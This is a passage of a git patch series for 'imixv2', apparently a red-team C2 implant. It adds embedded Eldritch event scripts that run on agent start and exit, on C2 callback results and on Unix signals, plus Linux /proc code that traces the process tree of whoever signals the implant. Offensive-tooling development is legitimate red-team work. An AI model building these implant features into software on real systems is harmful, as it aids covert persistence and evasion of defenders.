From b3ad13cbd3f5150e9166c9f6352f0c61eddd5929 Mon Sep 17 00:00:00 2001 From: nullmonk Date: Tue, 13 Jan 2026 14:38:14 -0500 Subject: [PATCH 1/7] Add event stuff --- implants/imixv2/Cargo.toml | 3 ++- implants/imixv2/src/event.rs | 41 ++++++++++++++++++++++++++++++++++++ implants/imixv2/src/main.rs | 1 + implants/imixv2/src/run.rs | 10 +++++++++ 4 files changed, 54 insertions(+), 1 deletion(-) create mode 100644 implants/imixv2/src/event.rs diff --git a/implants/imixv2/Cargo.toml b/implants/imixv2/Cargo.toml index 831d80b39..e2a48d414 100644 --- a/implants/imixv2/Cargo.toml +++ b/implants/imixv2/Cargo.toml @@ -7,13 +7,14 @@ edition = "2024" crate-type = ["cdylib"] [features] -default = ["install", "grpc", "http1", "dns", "doh"] +default = ["install", "grpc", "http1", "dns", "doh", "events"] grpc = ["transport/grpc"] http1 = ["transport/http1"] dns = ["transport/dns"] doh = ["transport/doh"] win_service = [] install = [] +events = [] tokio-console = ["dep:console-subscriber", "tokio/tracing"] [dependencies] diff --git a/implants/imixv2/src/event.rs b/implants/imixv2/src/event.rs new file mode 100644 index 000000000..ae070038a --- /dev/null +++ b/implants/imixv2/src/event.rs @@ -0,0 +1,41 @@ +/* + * Event callbacks that let eldritch functions run when the implant does certain tasks + */ +#[cfg(feature = "events")] +use std::sync::Arc; +#[cfg(feature = "events")] +use eldritchv2::{ + Interpreter, + assets::std::{EmbeddedAssets, StdAssetsLibrary}, +}; + +#[cfg(feature = "events")] +pub fn onevent(name: &str){ + // See if the event script exists + let event_script_name = "event/".to_owned() + name + ".eldritch"; + let event_script = match crate::assets::Asset::get(&event_script_name) { + Some(s) => s, + None => return, + }; + + #[cfg(debug_assertions)] + log::info!("Running event script '{}': {}", name, event_script_name); + + // Embedded assets are exposed to the callbacks + let asset_backend = Arc::new(EmbeddedAssets::::new()); + let mut locker = StdAssetsLibrary::new(); + let _ = locker.add(asset_backend); + // Execute using Eldritch V2 Interpreter + let mut interpreter = Interpreter::new().with_default_libs(); + interpreter.register_lib(locker); + + + let content = String::from_utf8_lossy(&event_script.data).to_string(); + match interpreter.interpret(&content) { + Ok(_) => {} + Err(_e) => { + #[cfg(debug_assertions)] + log::error!("Failed to execute event script: {event_script_name}: {_e}"); + } + } +} \ No newline at end of file diff --git a/implants/imixv2/src/main.rs b/implants/imixv2/src/main.rs index 1b22f417a..4fc661642 100644 --- a/implants/imixv2/src/main.rs +++ b/implants/imixv2/src/main.rs @@ -29,6 +29,7 @@ mod task; #[cfg(test)] mod tests; mod version; +mod event; #[tokio::main] async fn main() -> Result<()> { diff --git a/implants/imixv2/src/run.rs b/implants/imixv2/src/run.rs index 1f2441898..867e2782b 100644 --- a/implants/imixv2/src/run.rs +++ b/implants/imixv2/src/run.rs @@ -9,6 +9,8 @@ use crate::version::VERSION; use pb::config::Config; use transport::{ActiveTransport, Transport}; +use crate::event; + pub static SHUTDOWN: AtomicBool = AtomicBool::new(false); pub async fn run_agent() -> Result<()> { @@ -39,6 +41,10 @@ pub async fn run_agent() -> Result<()> { #[cfg(debug_assertions)] log::info!("Agent initialized"); + // Run the onstart event script + #[cfg(feature = "events")] + event::onevent("on_start"); + while !SHUTDOWN.load(Ordering::Relaxed) { let start = Instant::now(); let agent_ref = agent.clone(); @@ -65,6 +71,10 @@ pub async fn run_agent() -> Result<()> { } } + // Run the on_exit event script + #[cfg(feature = "events")] + event::onevent("on_exit"); + #[cfg(debug_assertions)] log::info!("Agent shutting down"); From d9a3776c86e6e6b54ff2ef715429b8696ee68814 Mon Sep 17 00:00:00 2001 From: nullmonk Date: Tue, 13 Jan 2026 17:04:22 -0500 Subject: [PATCH 2/7] Supporting on_event.eldritch --- docs/_docs/user-guide/imix.md | 42 ++++++++++++- implants/imixv2/Cargo.toml | 1 + implants/imixv2/embedded/.gitkeep | 0 implants/imixv2/embedded/on_event.eldritch | 5 ++ implants/imixv2/src/assets.rs | 2 +- implants/imixv2/src/event.rs | 70 +++++++++++++++++++--- implants/imixv2/src/lib.rs | 1 + implants/imixv2/src/main.rs | 3 +- implants/imixv2/src/run.rs | 25 ++++++-- 9 files changed, 133 insertions(+), 16 deletions(-) create mode 100644 implants/imixv2/embedded/.gitkeep create mode 100644 implants/imixv2/embedded/on_event.eldritch diff --git a/docs/_docs/user-guide/imix.md b/docs/_docs/user-guide/imix.md index f85582338..39b6a8dd6 100644 --- a/docs/_docs/user-guide/imix.md +++ b/docs/_docs/user-guide/imix.md @@ -104,10 +104,50 @@ The install subcommand executes embedded tomes similar to golem. It will loop through all embedded files looking for main.eldritch. Each main.eldritch will execute in a new thread. This is done to allow imix to install redundantly or install additional (non dependent) tools. -Installation scripts are specified in the `realm/implants/imix/install_scripts` directory. +Installation scripts are specified in the `realm/implants/imixv2/embedded` directory. This feature is currently under active development, and may change. We'll do our best to keep these docs updates in the meantime. +## Events + +Imix supports an event system that allows executing Eldritch scripts when specific internal events occur. This feature is enabled by compiling with the `events` feature flag (enabled by default). + +The system looks for a universal event script at `on_event.eldritch` within the embedded assets. If found, this script is executed for every triggered event. + +The script receives a global variable `input_params` containing: +- `event`: The name of the event (e.g., "on_start", "on_callback_fail"). +- `args`: A dictionary of event-specific arguments. + +### Supported Events + +| Event Name | Description | Arguments | +|String | String | Map | +|---|---|---| +| `on_start` | Triggered when the agent initializes. | None | +| `on_exit` | Triggered when the agent shuts down. | None | +| `on_callback_success` | Triggered after a successful callback to the C2 server. | None | +| `on_callback_fail` | Triggered when a callback fails. | `error`: The error message. | +| `on_sigint` | Triggered on SIGINT (Ctrl+C). | None | +| `on_sigterm` | Triggered on SIGTERM. | None | +| `on_sighup` | Triggered on SIGHUP. | None | +| `on_sigquit` | Triggered on SIGQUIT. | None | +| `on_sigusr1` | Triggered on SIGUSR1. | None | +| `on_sigusr2` | Triggered on SIGUSR2. | None | +| `on_sigchild` | Triggered on SIGCHLD. | None | + +### Example Script + +Create `realm/implants/imixv2/embedded/on_event.eldritch`: + +```python +HANDLED_EVENTS = set(["on_callback_fail", "on_sigint"]) + +evt = input_params.get("event", "???") +if evt in HANDLED_EVENTS: + print(f"[EVENT] {evt} called:", input_params.get("args", {})) +``` + + ## Functionality Imix derives all it's functionality from the eldritch language. diff --git a/implants/imixv2/Cargo.toml b/implants/imixv2/Cargo.toml index e2a48d414..bc5c183a6 100644 --- a/implants/imixv2/Cargo.toml +++ b/implants/imixv2/Cargo.toml @@ -26,6 +26,7 @@ tokio = { workspace = true, features = [ "net", "io-util", "tracing", + "signal", ] } portal-stream = { workspace = true } anyhow = { workspace = true } diff --git a/implants/imixv2/embedded/.gitkeep b/implants/imixv2/embedded/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/implants/imixv2/embedded/on_event.eldritch b/implants/imixv2/embedded/on_event.eldritch new file mode 100644 index 000000000..9820eee4e --- /dev/null +++ b/implants/imixv2/embedded/on_event.eldritch @@ -0,0 +1,5 @@ +HANDLED_EVENTS = set(["on_callback_fail", "on_sigint"]) + +evt = input_params.get("event", "???") +if evt in HANDLED_EVENTS: + print(f"[EVENT] {evt} called:", input_params.get("args", {})) diff --git a/implants/imixv2/src/assets.rs b/implants/imixv2/src/assets.rs index 4a1c7e38d..d9ac97ed5 100644 --- a/implants/imixv2/src/assets.rs +++ b/implants/imixv2/src/assets.rs @@ -1,5 +1,5 @@ use rust_embed::RustEmbed; #[derive(RustEmbed)] -#[folder = "../imix/install_scripts"] +#[folder = "./embedded"] pub struct Asset; diff --git a/implants/imixv2/src/event.rs b/implants/imixv2/src/event.rs index ae070038a..1dc6f9ddb 100644 --- a/implants/imixv2/src/event.rs +++ b/implants/imixv2/src/event.rs @@ -2,25 +2,78 @@ * Event callbacks that let eldritch functions run when the implant does certain tasks */ #[cfg(feature = "events")] -use std::sync::Arc; -#[cfg(feature = "events")] use eldritchv2::{ + Value, Interpreter, assets::std::{EmbeddedAssets, StdAssetsLibrary}, }; +#[cfg(feature = "events")] +use std::{collections::BTreeMap, sync::{Arc, OnceLock}}; +#[cfg(feature = "events")] +use tokio::signal::unix::{signal, SignalKind}; + +#[cfg(feature = "events")] +static EVENT_SCRIPT: OnceLock> = OnceLock::new(); + +#[cfg(feature = "events")] +pub async fn catch_signals() { + let mut sigint = signal(SignalKind::interrupt()).ok(); + let mut sigterm = signal(SignalKind::terminate()).ok(); + let mut sighup = signal(SignalKind::hangup()).ok(); + let mut sigquit = signal(SignalKind::quit()).ok(); + let mut sigusr1 = signal(SignalKind::user_defined1()).ok(); + let mut sigusr2 = signal(SignalKind::user_defined2()).ok(); + let mut sigchld = signal(SignalKind::child()).ok(); + + loop { + let sig = tokio::select! { + _ = async { if let Some(ref mut s) = sigint { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigint", + _ = async { if let Some(ref mut s) = sigterm { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigterm", + _ = async { if let Some(ref mut s) = sighup { s.recv().await; } else { std::future::pending::<()>().await; } } => "sighup", + _ = async { if let Some(ref mut s) = sigquit { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigquit", + _ = async { if let Some(ref mut s) = sigusr1 { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigusr1", + _ = async { if let Some(ref mut s) = sigusr2 { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigusr2", + _ = async { if let Some(ref mut s) = sigchld { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigchild", + }; + + // Send them to the events handler + tokio::spawn(async move { + let event = "on_".to_owned() + sig; + on_event(&event, BTreeMap::new()).await; + }); + } +} + +#[cfg(feature = "events")] +pub fn load_event_script() { + EVENT_SCRIPT.get_or_init(|| { + let path = "on_event.eldritch"; + crate::assets::Asset::get(path) + .map(|f| String::from_utf8_lossy(&f.data).into_owned()) + }); +} #[cfg(feature = "events")] -pub fn onevent(name: &str){ +pub async fn on_event(name: &str, mut args: BTreeMap) { // See if the event script exists - let event_script_name = "event/".to_owned() + name + ".eldritch"; - let event_script = match crate::assets::Asset::get(&event_script_name) { + + use eldritchv2::conversion::ToValue; + + // Check for the universal event script + let script_content = EVENT_SCRIPT.get().cloned().flatten(); + + let content = match script_content { Some(s) => s, None => return, }; #[cfg(debug_assertions)] - log::info!("Running event script '{}': {}", name, event_script_name); + log::info!("Running event script 'events/on_event.eldritch' for event: {}", name); + // Add event name to args + let mut input_params: BTreeMap = BTreeMap::new(); + input_params.insert("event".to_string(), name.to_string().to_value()); + input_params.insert("args".to_string(), args.to_value()); // Embedded assets are exposed to the callbacks let asset_backend = Arc::new(EmbeddedAssets::::new()); let mut locker = StdAssetsLibrary::new(); @@ -28,14 +81,13 @@ pub fn onevent(name: &str){ // Execute using Eldritch V2 Interpreter let mut interpreter = Interpreter::new().with_default_libs(); interpreter.register_lib(locker); + interpreter.define_variable("input_params", input_params.to_value()); - - let content = String::from_utf8_lossy(&event_script.data).to_string(); match interpreter.interpret(&content) { Ok(_) => {} Err(_e) => { #[cfg(debug_assertions)] - log::error!("Failed to execute event script: {event_script_name}: {_e}"); + log::error!("Failed to execute event script: events/on_event.eldritch: {_e}"); } } } \ No newline at end of file diff --git a/implants/imixv2/src/lib.rs b/implants/imixv2/src/lib.rs index e2d176e7c..b64266474 100644 --- a/implants/imixv2/src/lib.rs +++ b/implants/imixv2/src/lib.rs @@ -2,6 +2,7 @@ extern crate alloc; pub mod agent; pub mod assets; +pub mod event; pub mod portal; pub mod run; pub mod shell; diff --git a/implants/imixv2/src/main.rs b/implants/imixv2/src/main.rs index 4fc661642..824e77ec3 100644 --- a/implants/imixv2/src/main.rs +++ b/implants/imixv2/src/main.rs @@ -21,6 +21,8 @@ pub use transport::{ActiveTransport, Transport}; mod agent; mod assets; +#[cfg(feature = "events")] +mod event; mod install; mod portal; mod run; @@ -29,7 +31,6 @@ mod task; #[cfg(test)] mod tests; mod version; -mod event; #[tokio::main] async fn main() -> Result<()> { diff --git a/implants/imixv2/src/run.rs b/implants/imixv2/src/run.rs index 867e2782b..f747aa4d3 100644 --- a/implants/imixv2/src/run.rs +++ b/implants/imixv2/src/run.rs @@ -1,14 +1,19 @@ use anyhow::Result; +#[cfg(feature = "events")] +use std::collections::BTreeMap; use std::sync::Arc; use std::sync::atomic::{AtomicBool, Ordering}; use std::time::{Duration, Instant}; +#[cfg(feature = "events")] +use eldritchv2::conversion::ToValue; use crate::agent::ImixAgent; use crate::task::TaskRegistry; use crate::version::VERSION; use pb::config::Config; use transport::{ActiveTransport, Transport}; +#[cfg(feature = "events")] use crate::event; pub static SHUTDOWN: AtomicBool = AtomicBool::new(false); @@ -43,7 +48,11 @@ pub async fn run_agent() -> Result<()> { // Run the onstart event script #[cfg(feature = "events")] - event::onevent("on_start"); + { + event::load_event_script(); + tokio::spawn(crate::event::catch_signals()); + tokio::spawn(event::on_event("on_start", BTreeMap::new())); + } while !SHUTDOWN.load(Ordering::Relaxed) { let start = Instant::now(); @@ -73,7 +82,7 @@ pub async fn run_agent() -> Result<()> { // Run the on_exit event script #[cfg(feature = "events")] - event::onevent("on_exit"); + event::on_event("on_exit", BTreeMap::new()).await; #[cfg(debug_assertions)] log::info!("Agent shutting down"); @@ -128,11 +137,19 @@ async fn process_tasks(agent: &ImixAgent, _registry: &TaskRegis Ok(_) => { #[cfg(debug_assertions)] log::info!("Callback success"); + + #[cfg(feature = "events")] + tokio::spawn(event::on_event("on_callback_success", BTreeMap::new())); } - Err(_e) => { + Err(e) => { #[cfg(debug_assertions)] - log::error!("Callback failed: {_e:#}"); + log::error!("Callback failed: {e:#}"); agent.rotate_callback_uri().await; + + #[cfg(feature = "events")] + let mut map = BTreeMap::new(); + map.insert("error".to_string(), e.root_cause().to_string().to_value()); + tokio::spawn(event::on_event("on_callback_fail", map)); } } } From b613be4c7578ccc6fd1c12c12979f938909dfcdd Mon Sep 17 00:00:00 2001 From: nullmonk Date: Tue, 13 Jan 2026 19:02:23 -0500 Subject: [PATCH 3/7] Add signal caller information --- implants/imixv2/Cargo.toml | 3 + implants/imixv2/embedded/on_event.eldritch | 33 +++- implants/imixv2/src/event.rs | 206 +++++++++++++++++---- implants/imixv2/src/run.rs | 26 ++- 4 files changed, 226 insertions(+), 42 deletions(-) diff --git a/implants/imixv2/Cargo.toml b/implants/imixv2/Cargo.toml index bc5c183a6..5287e03e5 100644 --- a/implants/imixv2/Cargo.toml +++ b/implants/imixv2/Cargo.toml @@ -47,6 +47,9 @@ pb = { workspace = true, features = ["imix"] } portable-pty = { workspace = true } rust-embed = { workspace = true } console-subscriber = { workspace = true, optional = true } +signal-hook = { version = "0.3", features = ["extended-siginfo"] } +libc = { workspace = true } +nix = { workspace = true } [target.'cfg(target_os = "windows")'.dependencies] windows-service = { workspace = true } diff --git a/implants/imixv2/embedded/on_event.eldritch b/implants/imixv2/embedded/on_event.eldritch index 9820eee4e..d0363e790 100644 --- a/implants/imixv2/embedded/on_event.eldritch +++ b/implants/imixv2/embedded/on_event.eldritch @@ -1,5 +1,30 @@ -HANDLED_EVENTS = set(["on_callback_fail", "on_sigint"]) - +HANDLED_EVENTS = set(["on_callback_fail"]) evt = input_params.get("event", "???") -if evt in HANDLED_EVENTS: - print(f"[EVENT] {evt} called:", input_params.get("args", {})) + +def dump_process_tree(proc: dict): + lines = [] + + cp = proc + for i in range(100): + if not cp: + break + cmd = " ".join(cp.get("args", "")) + if not cmd: + cmd = cp.get("command") + lines = [(cp.get("pid", 0), cmd, cp.get("tty", ""))] + lines + cp = cp.get("parent", None) + + i = 0 + for p, c, t in lines: + if t: + t = f" ({t}" + print(" "*i + f"↳ [{p}] {c}{t}") + i += 2 + +if evt not in HANDLED_EVENTS: + args = input_params.get("args", {}) + if "sender" in args: + dump_process_tree(args["sender"]) + else: + print(f"[EVENT] {evt} called:", input_params) + diff --git a/implants/imixv2/src/event.rs b/implants/imixv2/src/event.rs index 1dc6f9ddb..18aa3fe62 100644 --- a/implants/imixv2/src/event.rs +++ b/implants/imixv2/src/event.rs @@ -3,62 +3,199 @@ */ #[cfg(feature = "events")] use eldritchv2::{ - Value, - Interpreter, + Interpreter, Value, assets::std::{EmbeddedAssets, StdAssetsLibrary}, }; #[cfg(feature = "events")] -use std::{collections::BTreeMap, sync::{Arc, OnceLock}}; -#[cfg(feature = "events")] -use tokio::signal::unix::{signal, SignalKind}; +use std::{ + collections::BTreeMap, + sync::{Arc, OnceLock}, +}; #[cfg(feature = "events")] static EVENT_SCRIPT: OnceLock> = OnceLock::new(); +#[cfg(feature = "events")] +#[derive(Debug, Clone)] +struct Sender { + pid: i32, + command: String, + args: Vec, + tty: String, + parent: Option>, +} + #[cfg(feature = "events")] pub async fn catch_signals() { - let mut sigint = signal(SignalKind::interrupt()).ok(); - let mut sigterm = signal(SignalKind::terminate()).ok(); - let mut sighup = signal(SignalKind::hangup()).ok(); - let mut sigquit = signal(SignalKind::quit()).ok(); - let mut sigusr1 = signal(SignalKind::user_defined1()).ok(); - let mut sigusr2 = signal(SignalKind::user_defined2()).ok(); - let mut sigchld = signal(SignalKind::child()).ok(); - - loop { - let sig = tokio::select! { - _ = async { if let Some(ref mut s) = sigint { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigint", - _ = async { if let Some(ref mut s) = sigterm { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigterm", - _ = async { if let Some(ref mut s) = sighup { s.recv().await; } else { std::future::pending::<()>().await; } } => "sighup", - _ = async { if let Some(ref mut s) = sigquit { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigquit", - _ = async { if let Some(ref mut s) = sigusr1 { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigusr1", - _ = async { if let Some(ref mut s) = sigusr2 { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigusr2", - _ = async { if let Some(ref mut s) = sigchld { s.recv().await; } else { std::future::pending::<()>().await; } } => "sigchild", + use signal_hook::consts::{ + SIGCHLD, SIGHUP, SIGINT, SIGQUIT, SIGTERM, SIGUSR1, SIGUSR2, SIGWINCH, + }; + use signal_hook::iterator::SignalsInfo; + use signal_hook::iterator::exfiltrator::WithOrigin; + use signal_hook::iterator::exfiltrator::origin::Origin; + use tokio::sync::mpsc; + + // We send (Origin, Option) to capture proc info immediately in the signal thread + let (tx, mut rx) = mpsc::channel::<(Origin, Option)>(32); + + // Spawn a dedicated thread for signal handling because the iterator is blocking + std::thread::spawn(move || { + let mut signals = match SignalsInfo::::new(&[ + SIGINT, SIGTERM, SIGHUP, SIGQUIT, SIGUSR1, SIGUSR2, SIGCHLD, SIGWINCH, + ]) { + Ok(s) => s, + Err(e) => { + #[cfg(debug_assertions)] + eprintln!("Failed to register signals: {}", e); + return; + } + }; + + for info in &mut signals { + let mut sender = None; + // Attempt to read process info immediately to avoid race conditions + if let Some(p) = info.process { + #[cfg(target_os = "linux")] + { + sender = get_pid_info(p.pid, 15); + } + } + + if tx.blocking_send((info, sender)).is_err() { + break; + } + } + }); + + while let Some((info, sender)) = rx.recv().await { + let sig = info.signal as i32; + + let event_name = match sig { + SIGINT => "sigint", + SIGTERM => "sigterm", + SIGHUP => "sighup", + SIGQUIT => "sigquit", + SIGUSR1 => "sigusr1", + SIGUSR2 => "sigusr2", + SIGCHLD => "sigchild", + SIGWINCH => "sigwinch", + _ => "unknown", }; - // Send them to the events handler + // Args that can passed to the event callback. "sender" + let mut args = BTreeMap::new(); + if let Some(s) = sender { + args.insert("sender".to_string(), sender_to_value(&s)); + } + + // Actually spawn the event tokio::spawn(async move { - let event = "on_".to_owned() + sig; - on_event(&event, BTreeMap::new()).await; + let event = "on_".to_owned() + event_name; + on_event(&event, args).await; }); } } +#[cfg(feature = "events")] +fn sender_to_value(sender: &Sender) -> Value { + use eldritchv2::conversion::ToValue; + let mut map = BTreeMap::new(); + map.insert("pid".to_string(), (sender.pid as i64).to_value()); + map.insert("command".to_string(), sender.command.clone().to_value()); + map.insert("args".to_string(), sender.args.clone().to_value()); + map.insert("tty".to_string(), sender.tty.clone().to_value()); + + if let Some(parent) = &sender.parent { + map.insert("parent".to_string(), sender_to_value(parent)); + } + + map.to_value() +} + +// Read the process calling tree for the kill command. Important if we want to take action +// against rough signals +#[cfg(all(feature = "events", target_os = "linux"))] +fn get_pid_info(pid: i32, max_rec: u32) -> Option { + if max_rec <= 0 { + return None; + } // Recursion loop + + // Read stat for comm, ppid, tty + use std::io::Read; + let path = format!("/proc/{}/stat", pid); + let mut buffer = [0u8; 512]; + let mut file = std::fs::File::open(&path).ok()?; + let n = file.read(&mut buffer).ok()?; + let content = &buffer[..n]; + + // Parse stat + let end_of_comm = content.iter().rposition(|&b| b == b')')?; + // comm is between the first '(' and the last ')' + let start_of_comm = content.iter().position(|&b| b == b'(')? + 1; + let command = String::from_utf8_lossy(&content[start_of_comm..end_of_comm]).into_owned(); + + if end_of_comm + 2 >= content.len() { + return None; + } + let rest = &content[end_of_comm + 2..]; + let mut iter = rest.split(|&b| b == b' '); + + iter.next(); // state + let ppid_bytes = iter.next()?; + let ppid_str = std::str::from_utf8(ppid_bytes).ok()?; + let ppid: i32 = ppid_str.parse().ok()?; + + iter.next(); // pgrp + iter.next(); // session + + let mut tty_str = String::new(); + if let Ok(link) = std::fs::read_link(format!("/proc/{}/fd/0", pid)) { + tty_str = link.to_string_lossy().into_owned() + } + + // Read cmdline for all args if the file still exists + let mut args = Vec::new(); + if let Ok(mut cmdline_file) = std::fs::File::open(format!("/proc/{}/cmdline", pid)) { + let mut cmdline_content = Vec::new(); + if cmdline_file.read_to_end(&mut cmdline_content).is_ok() { + args = cmdline_content + .split(|&b| b == 0) + .filter(|s| !s.is_empty()) + .map(|s| String::from_utf8_lossy(s).into_owned()) + .collect(); + } + } + + // Recurse for parent if depth allows + let parent = if ppid > 0 { + get_pid_info(ppid, max_rec - 1).map(Box::new) + } else { + None + }; + + Some(Sender { + pid, + command, + args, + tty: tty_str, + parent, + }) +} + #[cfg(feature = "events")] pub fn load_event_script() { EVENT_SCRIPT.get_or_init(|| { let path = "on_event.eldritch"; - crate::assets::Asset::get(path) - .map(|f| String::from_utf8_lossy(&f.data).into_owned()) + crate::assets::Asset::get(path).map(|f| String::from_utf8_lossy(&f.data).into_owned()) }); } #[cfg(feature = "events")] -pub async fn on_event(name: &str, mut args: BTreeMap) { +pub async fn on_event(name: &str, args: BTreeMap) { // See if the event script exists use eldritchv2::conversion::ToValue; - + // Check for the universal event script let script_content = EVENT_SCRIPT.get().cloned().flatten(); @@ -68,12 +205,15 @@ pub async fn on_event(name: &str, mut args: BTreeMap) { }; #[cfg(debug_assertions)] - log::info!("Running event script 'events/on_event.eldritch' for event: {}", name); + log::info!( + "Running event script 'on_event.eldritch' for event: {}", + name + ); // Add event name to args let mut input_params: BTreeMap = BTreeMap::new(); input_params.insert("event".to_string(), name.to_string().to_value()); - input_params.insert("args".to_string(), args.to_value()); + input_params.insert("args".to_owned(), args.to_value()); // Embedded assets are exposed to the callbacks let asset_backend = Arc::new(EmbeddedAssets::::new()); let mut locker = StdAssetsLibrary::new(); @@ -82,7 +222,7 @@ pub async fn on_event(name: &str, mut args: BTreeMap) { let mut interpreter = Interpreter::new().with_default_libs(); interpreter.register_lib(locker); interpreter.define_variable("input_params", input_params.to_value()); - + match interpreter.interpret(&content) { Ok(_) => {} Err(_e) => { @@ -90,4 +230,4 @@ pub async fn on_event(name: &str, mut args: BTreeMap) { log::error!("Failed to execute event script: events/on_event.eldritch: {_e}"); } } -} \ No newline at end of file +} diff --git a/implants/imixv2/src/run.rs b/implants/imixv2/src/run.rs index f747aa4d3..2e52ddfe6 100644 --- a/implants/imixv2/src/run.rs +++ b/implants/imixv2/src/run.rs @@ -1,15 +1,16 @@ use anyhow::Result; +use eldritch_agent::Agent; #[cfg(feature = "events")] use std::collections::BTreeMap; use std::sync::Arc; use std::sync::atomic::{AtomicBool, Ordering}; use std::time::{Duration, Instant}; -#[cfg(feature = "events")] -use eldritchv2::conversion::ToValue; use crate::agent::ImixAgent; use crate::task::TaskRegistry; use crate::version::VERSION; +#[cfg(feature = "events")] +use eldritchv2::{Value, conversion::ToValue}; use pb::config::Config; use transport::{ActiveTransport, Transport}; @@ -122,6 +123,19 @@ async fn run_agent_cycle(agent: Arc>, registry: Arc, _registry: &TaskRegis agent.rotate_callback_uri().await; #[cfg(feature = "events")] - let mut map = BTreeMap::new(); - map.insert("error".to_string(), e.root_cause().to_string().to_value()); - tokio::spawn(event::on_event("on_callback_fail", map)); + { + let mut map = BTreeMap::new(); + map.insert("error".to_string(), e.root_cause().to_string().to_value()); + tokio::spawn(event::on_event("on_callback_fail", map)); + } } } } From a73dc3ea1738b3b34064ffd49cd8cb6c76f3a769 Mon Sep 17 00:00:00 2001 From: nullmonk Date: Tue, 13 Jan 2026 19:25:30 -0500 Subject: [PATCH 4/7] Add an event before callback --- implants/imixv2/embedded/on_event.eldritch | 12 +++-- implants/imixv2/src/event.rs | 3 +- implants/imixv2/src/run.rs | 51 ++++++++++++++-------- 3 files changed, 39 insertions(+), 27 deletions(-) diff --git a/implants/imixv2/embedded/on_event.eldritch b/implants/imixv2/embedded/on_event.eldritch index d0363e790..fb96bb799 100644 --- a/implants/imixv2/embedded/on_event.eldritch +++ b/implants/imixv2/embedded/on_event.eldritch @@ -1,4 +1,3 @@ -HANDLED_EVENTS = set(["on_callback_fail"]) evt = input_params.get("event", "???") def dump_process_tree(proc: dict): @@ -21,10 +20,9 @@ def dump_process_tree(proc: dict): print(" "*i + f"↳ [{p}] {c}{t}") i += 2 -if evt not in HANDLED_EVENTS: - args = input_params.get("args", {}) - if "sender" in args: - dump_process_tree(args["sender"]) - else: - print(f"[EVENT] {evt} called:", input_params) +args = input_params.get("args", {}) +if "sender" in args: + dump_process_tree(args["sender"]) +else: + print(f"[EVENT] {evt} called:", input_params) diff --git a/implants/imixv2/src/event.rs b/implants/imixv2/src/event.rs index 18aa3fe62..a35d32659 100644 --- a/implants/imixv2/src/event.rs +++ b/implants/imixv2/src/event.rs @@ -183,11 +183,12 @@ fn get_pid_info(pid: i32, max_rec: u32) -> Option { } #[cfg(feature = "events")] -pub fn load_event_script() { +pub fn load_event_script() -> bool { EVENT_SCRIPT.get_or_init(|| { let path = "on_event.eldritch"; crate::assets::Asset::get(path).map(|f| String::from_utf8_lossy(&f.data).into_owned()) }); + return EVENT_SCRIPT.get().is_some(); } #[cfg(feature = "events")] diff --git a/implants/imixv2/src/run.rs b/implants/imixv2/src/run.rs index 2e52ddfe6..88a385755 100644 --- a/implants/imixv2/src/run.rs +++ b/implants/imixv2/src/run.rs @@ -50,9 +50,10 @@ pub async fn run_agent() -> Result<()> { // Run the onstart event script #[cfg(feature = "events")] { - event::load_event_script(); - tokio::spawn(crate::event::catch_signals()); - tokio::spawn(event::on_event("on_start", BTreeMap::new())); + if event::load_event_script() { + tokio::spawn(crate::event::catch_signals()); + tokio::spawn(event::on_event("on_start", BTreeMap::new())); + } } while !SHUTDOWN.load(Ordering::Relaxed) { @@ -110,9 +111,34 @@ async fn run_agent_cycle(agent: Arc>, registry: Arc 0 { + let t = &available_transports.transports + [available_transports.active_index as usize]; + uri = t.uri.clone(); + } + } + } + let mut args = BTreeMap::new(); + args.insert("uri".to_string(), uri.to_value()); + event::on_event("on_callback_start", args).await; + } let transport = match ActiveTransport::new(config) { Ok(t) => t, Err(_e) => { + #[cfg(feature = "events")] + { + let mut map = BTreeMap::new(); + map.insert("error".to_string(), _e.root_cause().to_string().to_value()); + tokio::spawn(event::on_event("on_callback_fail", map)); + } #[cfg(debug_assertions)] log::error!("Failed to create transport: {_e:#}"); agent.rotate_callback_uri().await; @@ -123,19 +149,6 @@ async fn run_agent_cycle(agent: Arc>, registry: Arc, _registry: &TaskRegis #[cfg(feature = "events")] tokio::spawn(event::on_event("on_callback_success", BTreeMap::new())); } - Err(e) => { + Err(_e) => { #[cfg(debug_assertions)] - log::error!("Callback failed: {e:#}"); + log::error!("Callback failed: {_e:#}"); agent.rotate_callback_uri().await; #[cfg(feature = "events")] { let mut map = BTreeMap::new(); - map.insert("error".to_string(), e.root_cause().to_string().to_value()); + map.insert("error".to_string(), _e.root_cause().to_string().to_value()); tokio::spawn(event::on_event("on_callback_fail", map)); } } From 3f46a6cbe58c5c7dc768256767202939eec461a3 Mon Sep 17 00:00:00 2001 From: nullmonk Date: Tue, 13 Jan 2026 20:29:13 -0500 Subject: [PATCH 5/7] fix issues --- implants/imixv2/Cargo.toml | 4 ++- implants/imixv2/embedded/on_event.eldritch | 28 --------------------- implants/imixv2/src/event.rs | 29 +++++++++++----------- implants/imixv2/src/run.rs | 3 +-- 4 files changed, 19 insertions(+), 45 deletions(-) delete mode 100644 implants/imixv2/embedded/on_event.eldritch diff --git a/implants/imixv2/Cargo.toml b/implants/imixv2/Cargo.toml index 5287e03e5..8f006c170 100644 --- a/implants/imixv2/Cargo.toml +++ b/implants/imixv2/Cargo.toml @@ -47,10 +47,12 @@ pb = { workspace = true, features = ["imix"] } portable-pty = { workspace = true } rust-embed = { workspace = true } console-subscriber = { workspace = true, optional = true } -signal-hook = { version = "0.3", features = ["extended-siginfo"] } libc = { workspace = true } nix = { workspace = true } +[target.'cfg(target_os = "linux")'.dependencies] +signal-hook = { version = "0.3", features = ["extended-siginfo"] } + [target.'cfg(target_os = "windows")'.dependencies] windows-service = { workspace = true } diff --git a/implants/imixv2/embedded/on_event.eldritch b/implants/imixv2/embedded/on_event.eldritch deleted file mode 100644 index fb96bb799..000000000 --- a/implants/imixv2/embedded/on_event.eldritch +++ /dev/null @@ -1,28 +0,0 @@ -evt = input_params.get("event", "???") - -def dump_process_tree(proc: dict): - lines = [] - - cp = proc - for i in range(100): - if not cp: - break - cmd = " ".join(cp.get("args", "")) - if not 